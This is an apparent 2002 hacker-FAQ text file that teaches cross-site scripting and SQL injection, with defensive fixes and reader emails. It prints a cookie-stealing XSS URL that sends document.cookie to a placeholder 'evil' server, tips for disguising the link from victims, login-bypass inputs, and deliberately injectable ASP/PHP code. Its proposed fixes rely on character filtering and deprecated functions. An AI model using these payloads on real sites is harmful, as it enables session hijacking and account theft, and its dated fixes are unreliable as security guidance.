<A HREF="http://www.someserver.com/postmessage.cgi?msg=<SCRIPT>code</SCRIPT>">Click here</A>

All you see (if you don't look closely at the link before clicking) are the words "Click here". So, say you clicked there....the url takes you to www.someserver.com and includes the rouge javascript code in the url string - which is passed into their postmessage.cgi script. Now, if the web server sends back any page to the user which includes the value of "msg" which you submitted to the server by clicking the link - the rouge code will be sent back to your browser, which (as we earlier determined) will execute it since it thinks it's code embedded in the body of the html file. What's just happened? put simply - the person that sent you the link, has just made you execute any code they wanted you to. A hyperlink (as we have seen above) is a common way for this kind of attack to be executed, since it is easy for the attacker to use some form of url encoding to make the link you click on not so obviously malicious.

A similar, yet more devious attack can also be executed via the hyperlink technique, using a link like so:

<A HREF="http://www.someserver.com/postmessage.cgi?msg=<SCRIPT SRC='http://anothersite.com/malicious_file'></SCRIPT>">Click here</A>

Note the SRC attribute in the <SCRIPT> tag is making code from a presumably unauthorized source (http://anothersite.com/malicious_file) be included into your trusted page. Because one source is injecting code into pages sent by another source, this is where the term Cross site scripting comes from. So what impact does this have on you, if you were to be caught by a xss vulnerability? Everything from account hijacking, changing of user settings, cookie theft/poisoning, and even exposing secure SSL encrypted connections is possible. The most common use of xss seems to be to steal cookie's from users, which in turn - often leads to account theft or session hijacking (sessions are what you partake in on some sites when you are logged in to the site, it uses session data to identify that you are in fact logged in, which is stored in cookies on your system).

How can a xss vulnerable server lead to your cookie being stolen though? Well, lets say you find a xss vulnerability in hotmail (not quite as far fetched as it sounds considering the zillions of major sites on the Internet that have been found to contain xss flaws) in the script vulnerablescript.cgi - hotmail uses cookie's on your system during your time on the site, so therefore it is possible to steal a users cookie via this xss hole we have discovered.

xss vulnerabilities won't all operate in the same way, so it is important to test the hole and see how it works, and more importantly - to find out how to make the output from the exploit url believable to the person you will fool into going there (remember we are aiming to steal a cookie, and it is best that the person doesn't realise their cookie has been stolen!). By inserting code into the script, its output will be changed and the page may appear broken. Then, you will need to insert some Javascript, or any of the other types of code we mentioned, into the URL pointing to the part of the site that is vulnerable. During this testing period, you should create the script that will steal/log the cookie from the user once the xss exploit takes them to your site. This would typically be a simple cgi script that just logs the query string when it is called (the user's cookie data will be in the query string when they are redirected to your cgi). Now, your string might look something like:

http://www.hotmail.com/vulnerablescript.cgi?variable="><script>document.location='http://yourevilserver.com/cgi-bin/stealcookie.cgi? '%20+document.cookie</script>

If our "target" visited that link, they would be taken to the vulnerablescript.cgi on the hotmail server - which would then read in the "variable" from the query string...which of course contains our xss javascript code. The javascript would then access the script http://yourevilserver.com/cgi-bin/stealcookie.cgi on your server with your hotmail cookie in the query string. Since your stealcookie.cgi is logging the querystring on every request sent to it - you should then find our target's hotmail cookie sitting in your log. The next step would be to url encode (probably using hex encoding) the URL a bit, so that it's not so blatantly obvious what the link does, although this isn't 100% necessary - just depends how dumb your target is. The last step is to make the target visit that URL....which can be done in a zillion ways depending on how crafty you are - but more than likely you will just send them the hyperlink through the email like we mentioned earlier.

Ok, now lets thing of xss from the other point of view - how do you prevent being exploited by it? If you are a coder or the webmaster of a site, the answer is simple - never trust user input! Always filter metacharacters and ensure that unwanted chars are removed from user input before proceeding to process/output the data. Filtering/replacing the chars < and > can go along way to prevent xss flaws cropping up - but also chars like ( and ) and # and & should be filtered or replaced. From a user point of view...never trust links from people you don't know - and try to ensure that you only follow links from the main site you want to view. Don't click on a link to hotmail from another site, always go to hotmail yourself etc. It's tough, but these measures would protect you from most xss flaws. You should also consider turning off javascript in your web browser (which prevents javascript being used as the injected code, which is common) and set your IE settings to high if you use Internet Explorer. A friend of mine who proof-read this volume also suggested - "By enforcing the Characterset for the web page (along with other security mechanisms), you can effectively do input validation through the automatic escaping of characters not found in the specified set. This is useful in mitigating damage until proper input validation and testing can take place." - so there are a few things you can do to make yourself safer.

I have also been recommended the following links, which you should check out if you want to read further into this topic:



Problems with user input in scripting languages using databases (SQL statements)

A number of web site are hacked as a result of something called "user input validation/filtering" - or, to be more precise - the lack of it. This topic should be a guide to web programmers (any language, php, asp, perl etc - but we will focus on php/asp examples) on how to safely deal with user input. I will also be talking about why this important, and giving examples of how sites that don't successfully filter user input can have accounts on the server compromised, or worse. I am not going to be explaining the SQL/php/asp code in much detail...so a basic knowledge of these languages will help you understand this topic a bit better ;)

Firstly, what is the root cause of the problem? Is it the php/asp programming languages? is it the database backend (whether it be mysql, sql server, access db, etc)? no...the problem lies with the programmer of the site, and the users visiting the site. The problem is that when you have a form on your web site, whether it be a login form (asking for a username/password) or a comments form, or anything - you are asking the user to send information into scripts on your web site. Although 18/20 users might use the form in the intended way - there will always be 1 or 2 malicious users who will send your scripts data they didn't expect. The moral of the story is - you simply can't trust unchecked user input. However, let's not take my word for it...let's look at a simple login form in asp, which takes a username/password and validates them against a table called "users" in an access database (my comments are in green in the asp/php code):

Html Code:

<html>
<head>
<title>Please Login</title>
</head>
<body>
<form action="logmein.asp" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="text" name="password"><br><br>
<input type="submit" value="Log In">
</form>
</body>
</html>

ASP Code for "logmein.asp" (where the html form sends it's data):

<%

	' get the username and password from the html form
	User = Request.Form("username")
	Pass = Request.Form("password")

	' open a connection to the database
	' I am using a DSN called mydatabase to make connecting a little simpler
	Set Conn = server.CreateObject ("ADODB.Connection")
	Conn.Open "mydatabase"

	' here is the SQL statement to select the user's password from the database for comparing
	SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"
	' make our database connection execute the query and store the results in the recordset rs
	Set rs = Conn.Execute(SQL)

	' if the username/password combo was found in the database then...
	if not rs.EOF Then
		' log the user in by setting the login session to "Yes" - this is how we identify logged in users
		Session("login") = "Yes"
		Conn.Close
		' redirect the logged in user to the members page
		Response.Redirect("memberpage.asp")
	else
		' the username/password didn't match! redirect them to the login screen again
		Conn.Close
		Response.Redirect("login.html")
	end if

%>

And for reference...the PHP equivalent code for "logmein.asp" (where the html form sends it's data):

<?

	// get the username and password from the html form
	$User = $_POST["username"]; 
	$Pass = $_POST["password"];

	// open a connection to the mysql database

	$conn = @mysql_connect("localhost", "wang", "somepass");

	if (!$conn)
	{
		echo ("Unable to connect to DB server at this time");
		exit();
	}

	if (! @mysql_select_db("mydatabase") )
	{
		echo ("Unable to connect to database at this time");
		exit();
	}

	// here is the SQL statement to select the user's password from the database for comparing
	$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";

	// make our database connection execute the query and store the results in the recordset $rs
	$rs = @mysql_query($sql);

	// if the username/password combo was found in the database then...
	if (mysql_num_rows($rs) > 0)
	{
		// log the user in by setting the login session to "Yes" - this is how we identify logged in users
		session_start();
		$_SESSION['login'] = "Yes";
		mysql_free_result($rs);
		mysql_close($conn);
		// redirect the logged in user to the members page
		header("Location: memberpage.php");
		exit();
	}
	else
	{
		// the username/password didn't match! redirect them to the login screen again
		mysql_free_result($rs);
		mysql_close($conn);
		header("Location: login.html");
		exit;
	}

?>

Ok...at first glance, this code might look ok - but if you use this code, you are putting the accounts on your site at risk. The above html/asp code will allow a user to login to your site without actually knowing a valid username/password combination. Lets look at why this is possible...

The three important lines of the asp script are:

User = Request.Form("username")
Pass = Request.Form("password")

and...

SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"

And the three important lines of the php script are:

$User = $_POST["username"];
$Pass = $_POST["password"];

and...

$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";

The reason these are important is because we are taking user input from an html form, and passing it into a query - and more importantly - *no* checking on the user input has been done! So effectively, we are passing anything the user wants, straight into the sql string...and this is why this exploit works. Now, say I filled in the username field of the html form in with "Wang" and the password field in with "qwerty" - the SQL statement executed would look like:

SQL = "SELECT * FROM Users WHERE Username = 'Wang' AND Password = 'qwerty'

This is a perfectly valid SQL statement, and is an example of a "perfect" input from the forms (i.e. an expected input, with no malicious intent). This would be executed by the database system, and providing a record in the "Users" table exists for username "Wang" with password "qwerty" - we will be logged into the web site. However...there is a problem. What if the person entered no input into the username and password fields of the html form - and pressed submit. The SQL statement would look like:

SQL = "SELECT * FROM Users WHERE Username = '' AND Password = ''

When no input is provided, the fields are filled with an empty ''. This means, the vulnerability is limited to strings that terminate with ' - since we need the SQL code to succeed when it is executed by the Database, so we need to ensure it is well-crafted. For example...if I entered the username in the html form as "'" (without the quotes)...the SQL string would look like:

SQL = "SELECT * FROM Users WHERE Username = ''' AND Password = ''

This means the SQL string now has too many 's - and therefore this query would fail, since it is not well-formed. This is why it will be important when we submit our malicious input to the form, to ensure we don't muck up the number of 's in the SQL string. By the way, submitting just ' into a login form is a quick way of checking whether the code is vulnerable to this particular form of sql-injection exploit. If the server returns an SQL error...you know that the script hasn't filtered out your code...and the script is probably vulnerable. Now, let's create our malicious string - we now enter "' or ''='" into the username field of the html form, and "' or ''='" into the password field (both without the quotes!). The SQL string would therefore look like:

SQL = "SELECT * FROM Users WHERE Username = '' or ''='' AND Password = '' or ''=''

This is a perfectly valid SQL string since all the 's have been matched, and we have successfully injected our special "or" condition. In case you were wondering, '' = '' always returns True by the database. Can you see what we have done? We are now saying (if the SQL string was in english):

Give me all the fields from all the records in the database, where the Username field = '' or '' = '' - but also make sure that the Passsword field = '' or '' = ''

Since '' always does equal '' - this query will succeed and we will be logged into the web site (technically as the first user in the database) - without actually having ever entered a real username or password. If you are still confused....I would recommend loading up a database management system like mysql/access or whatever you have available - and playing with the query....you will see that it does work! Ok...this is fairly bad as you can log in to the site without actually knowing any valid usernames....but what about if you wanted to log in as a particular username on the server? Easy - fill in the username field of the html form with the desired username, say "Wang" - and then complete the password field as before with "' or ''='" - therefore the SQL string looks like:

SQL = "SELECT * FROM Users WHERE Username = 'Wang' AND Password = '' or ''=''

Therefore, it matches the username Wang - and also succeeds on the password due to our always True condition '' = '' - and we get logged in as Wang! There are lots of possible SQL "injections" we can do to the html form to alter the SQL string - after all, we practically have full control what the SQL statement does. You can even inject comments in the style of /* and */ into the SQL, which makes it comment out certain aspects of the SQL - for example, enter "'/*" into the username and "*/ OR '' = '" into the password and we get:

SQL = "SELECT * FROM Users WHERE Username = ''/*' AND Password = '*/ OR '' = ''

Since the /* and */ comment out everything between them, the SQL statement is interpreted as:

SQL = "SELECT * FROM Users WHERE Username = '' OR '' = ''

Which causes the SQL to succeed again! So, we have now identified the problems - but how can all of these problems be prevented? Simple - User input validation. User input validation or "input filtering" as it is sometimes known, is when user input is processed by the script/server before it is passed to the database/file/script it is destined for. When I say the input is processed, I mean it is checked to ensure there is no unwanted or malicious data. Input validation can consist of just simply removing all troublesome characters from the input (for example, as we saw above ' is a troublesome character - so during input validation, if the input is destined to be included in an SQL string - it should be filtered out!), or it can consist of checking the entire structure of the user data (for example, checking that some input contains a valid email address, or a valid URL). In general though, it usually means filtering bad characters from a string. What are the bad characters? well - it's usually specific to what the data is going to be used for, or where it is to be stored (file/database etc) - but common characters filtered are: " * % ( ) / , ; . : # <> | \ '

However, there are better techniques - for example, if you know that a valid username should only contain a-z - then why bother filtering only certain characters from a string? just filter anything that isn't between a-z ! Most programming languages provide built in functions to do this (and even if they don't, it's usually trivial to code). So, when should user input be checked/validated? immediately after taking the data into the script! As soon as the data is brought into a variable within the script, it should be checked before anything else happens to it. Ok, so lets say in our asp/php example login scripts above we know that the username and password should only contain a-z and 0-9 characters. I will now provide the safe alternative asp/php script versions of the insecure ones I gave you before, so you can see how it works:

ASP Code for "logmein.asp" again, with user input validation added:

<%

	' get the username and password from the html form
	User = Request.Form("username")
	Pass = Request.Form("password")

	' Use RegExp object to filter all non a-z, 0-9, A-Z characters from the input!
	Set re = Server.CreateObject("VBScript.RegExp")
	re.Pattern = "[^a-zA-Z0-9]"
	re.Global = true 
	User = re.Replace(User, "")
	Pass = re.Replace(Pass, "")

	' open a connection to the database
	' I am using a DSN called mydatabase to make connecting a little simpler
	Set Conn = server.CreateObject ("ADODB.Connection")
	Conn.Open "mydatabase"

	' here is the SQL statement to select the user's password from the database for comparing
	SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"
	' make our database connection execute the query and store the results in the recordset rs
	Set rs = Conn.Execute(SQL)

	' if the username/password combo was found in the database then...
	if not rs.EOF Then
		' log the user in by setting the login session to "Yes" - this is how we identify logged in users
		Session("login") = "Yes"
		Conn.Close
		' redirect the logged in user to the members page
		Response.Redirect("memberpage.asp")
	else
		' the username/password didn't match! redirect them to the login screen again
		Conn.Close
		Response.Redirect("login.html")
	end if

%>

And the PHP equivalent code for "logmein.asp" with user input validation added:

<?

	// get the username and password from the html form
	$User = $_POST["username"]; 
	$Pass = $_POST["password"];

	// filter all non a-z, 0-9, A-Z chars from the input!
	$User = ereg_replace("[^a-z0-9A-Z]", "", $User);
	$Pass = ereg_replace("[^a-z0-9A-Z]", "", $Pass);

	// open a connection to the mysql database
	$conn = @mysql_connect("localhost", "wang", "somepass");

	if (!$conn)
	{
		echo ("Unable to connect to DB server at this time");
		exit();
	}

	if (! @mysql_select_db("mydatabase") )
	{
		echo ("Unable to connect to database at this time");
		exit();
	}

	// here is the SQL statement to select the user's password from the database for comparing
	$sql = "SELECT * FROM Users WHERE Username = '$User' AND Password = '$Pass'";

	// make our database connection execute the query and store the results in the recordset $rs
	$rs = @mysql_query($sql);

	// if the username/password combo was found in the database then...
	if (mysql_num_rows($rs) > 0)
	{
		// log the user in by setting the login session to "Yes" - this is how we identify logged in users
		session_start();
		$_SESSION['login'] = "Yes";
		mysql_free_result($rs);
		mysql_close($conn);
		// redirect the logged in user to the members page
		header("Location: memberpage.php");
		exit();
	}
	else
	{
		// the username/password didn't match! redirect them to the login screen again
		mysql_free_result($rs);
		mysql_close($conn);
		header("Location: login.html");
		exit;
	}

?>

Please note, that are a zillion other ways of doing this, php especially has a number of built in functions to make input safe by adding slashes etc, or by encoding all html special characters. Both of the above fixes use features of the language in order to remove any characters from the input which aren't a-z, 0-9, or A-Z - therefore stripping all malicious html and SQL characters. Obviously, this may not always be perfect for your site - as sometimes you may want other characters to be allowed in the input - but this is easily fixed by just adding the characters you want to allow to the regular expression (the bit that reads [^a-z0-9A-Z]) - but remember that some characters in the regular expression will need a \ in front of them to escape them (for example to allow . and - you would need a regular expression like [^a-zA-Z0-9\.\-]). More information on regular expression and input validation techniques can be found with a quick search in google.com - but I hope I have shown you why there is a danger, and how to go about fixing it.

I have also been recommended the following links, which you should check out if you want to read further into this topic:



Emails

Here are a couple of the more interesting emails I have sent (or been sent) since the last volume. By interesting - I mean they were actually using the hack faq submission form to ask me something productive, or request a topic - rather than ask me to get into an email account for them.


Hi Wang,

I often search through the exploit sites on the Internet (some of which you mentioned in the previous volumes of your hack faq) to try and find problems that might affect my site. I found a couple of problems, and they contained "exploit code" to judge whether the server was vulnerable or not but I have no idea what to do with the exploit code in order to run it. Please help.

Digitalness


Wang's Reply:

Howdy,

Ok...you don't state which exploit or what kind of code it was (or even give a little bit of the code so I can see what it is) - so I will be answering this question in a generic sense. Mostly - exploit code will either be C or Perl. Sometimes you get specific php code or something to exploit a php script, but on the whole (especially if the exploit is socket related) it will be C/Perl...so I am guessing that is what you have in your exploit code. C code has a .c extension (like myexploit.c or whatever) and Perl has a .pl extension. Mostly, the exploit code will be written with the intension that you run it on a *nix system from a shell...especially if the code is C. If the exploit code is written in perl (you can identify it commonly if the first line of the code is something like "#!/usr/bin/perl" or similar) - then you can run it from a shell (providing your *nix shell has perl installed, which is common) using:

perl <exploit filename>

That is literally all you have to do...since perl scripts don't need compiling. You can also get activeperl for Windows from ActiveState and then do exactly the same command from a dos prompt once Perl is installed (the exploit code might not work correctly if it is intended for *nix though). If the code is C code...they will most likely be expecting you to compile it with gcc (GNU C Compiler), which comes with every Unix distribution. Say you have an exploit called myexploit.c - to compile it from the shell you would type:

gcc myexploit.c -o myexploit

This tells it to compile the file myexploit.c to myexploit (if you don't specify the -o <filename> it will be compiled to a.out). To run it, you then must enter from the shell:

./myexploit

Compiling many different types of C code successfully is really a topic in itself, so I won't go in depth here - but for the majority of exploits, that is all you will have to do.


Hello,

Thanks for the faqs you write, they have helped me to learn some of the stuff that I have been trying to find out about for ages, keep up the good work. My question is what is an ids and what is a dids? I hear the words used in some exploits and in some advisories on the sites I visit but I can't find out what they are. I think it is something to do with firewalls, but can you please explain this to me and do a topic on it? Sorry for my bad use of english, it is not my first language so I hope you understand me ok.


Wang's Reply:

Howdy,

Ok, no problem - thanks for the comments. I am planning to do a full topic on this, but for now I will answer you via email and probably include this in the emails section of the faq volume 9.

An IDS is an abbreviation for "Intrusion Detection System". You are close when you say it is something to do with firewall's, but in fact these things are seperate. Like every network should have a firewall, every network should also have an IDS of some form operating. The different between the two is, think of a firewall as a locked gate that only allows the people you want through - and think of an IDS as the alarm bell on the gate, that goes off when someone is trying to break through your gate into your complex. In addition to this, also imagine your IDS is like a motion senser after you get past the gate. Making sense? ;)

An IDS's job is to detect attacks. Most Intrusion Detection Systems have a library of known attack patterns and can immediately identify and deny the attacker service as well as notify the network administrator of such events. Not only can they detect pre-defined attacks, they can also spot suspicious activity to/from the server and alert you of it. There are different types of IDS, namely network based or host based. In a Network based configuration an IDS is based on its own hardware and utilizes hardware sensors to detect attacks. A Host based IDS is software running on a server. One hugely popular IDS is snort. Snort can detect connection attempts to ports on your systems you specify to be blocked, and can also detect portscans, even stealth ones and numerous other types of packet/connection based attacks. Snort is the IDS of choice for the majority at the moment, since it's free, flexible, and really does it's job well.

A DIDS, or Distributed Intrusion Detection System is almost the same as a standard IDS system, but a copy of the DIDS program is distributed to almost (if not all) hosts on the network. Why have an IDS on every single host? because the IDS's can communicate amongst themselves and have the ability to shut compromised hosts off from the rest of the network. The main problem with running an IDS on a single host of your network is that, if that host is compromised, your whole network is in trouble because the IDS system now has 0% security...and the IDS can be tampered with by the intruder. However, if you had DIDS - all the distributed IDS's on each host communicate and as soon as suspicious activity on one host, or a compromise is detected - your DIDS shuts that host outside of the firewall (if possible), and blocks all communications from/to it...therefore securing the rest of the network.

I do intend to go into this in more detail at some point (roping some people I know who know tons on this subject in to help me!), but I hope this has cleared up the differences!



Conclusion
I think we have made a natural progression from Volume 8, and are still covering all the topics you guys/gals are interested in learning. If I am not covering the type of things you want to see, then please do use the topic request form on the site to request something you actually want to see. We are now going into a mixture of topics, covering a bit more *nix, but still covering newbie topics such as the web-based email...so I hope you are still enjoying the ride ;) - this is of course, not the end...and you will have to stay tuned for Volume 10!

If there is anything I haven't covered and you would like me to consider putting into my next text file, please email me at: wang@most-wanted.com - ALSO! if you have any other methods of solving the questions that I have answered, please send them to me and I will consider putting your solution in as well (with full credit to you obviously).
Wang
http://www.wangproducts.co.uk
http://www.mod-x.co.uk

19/08/2002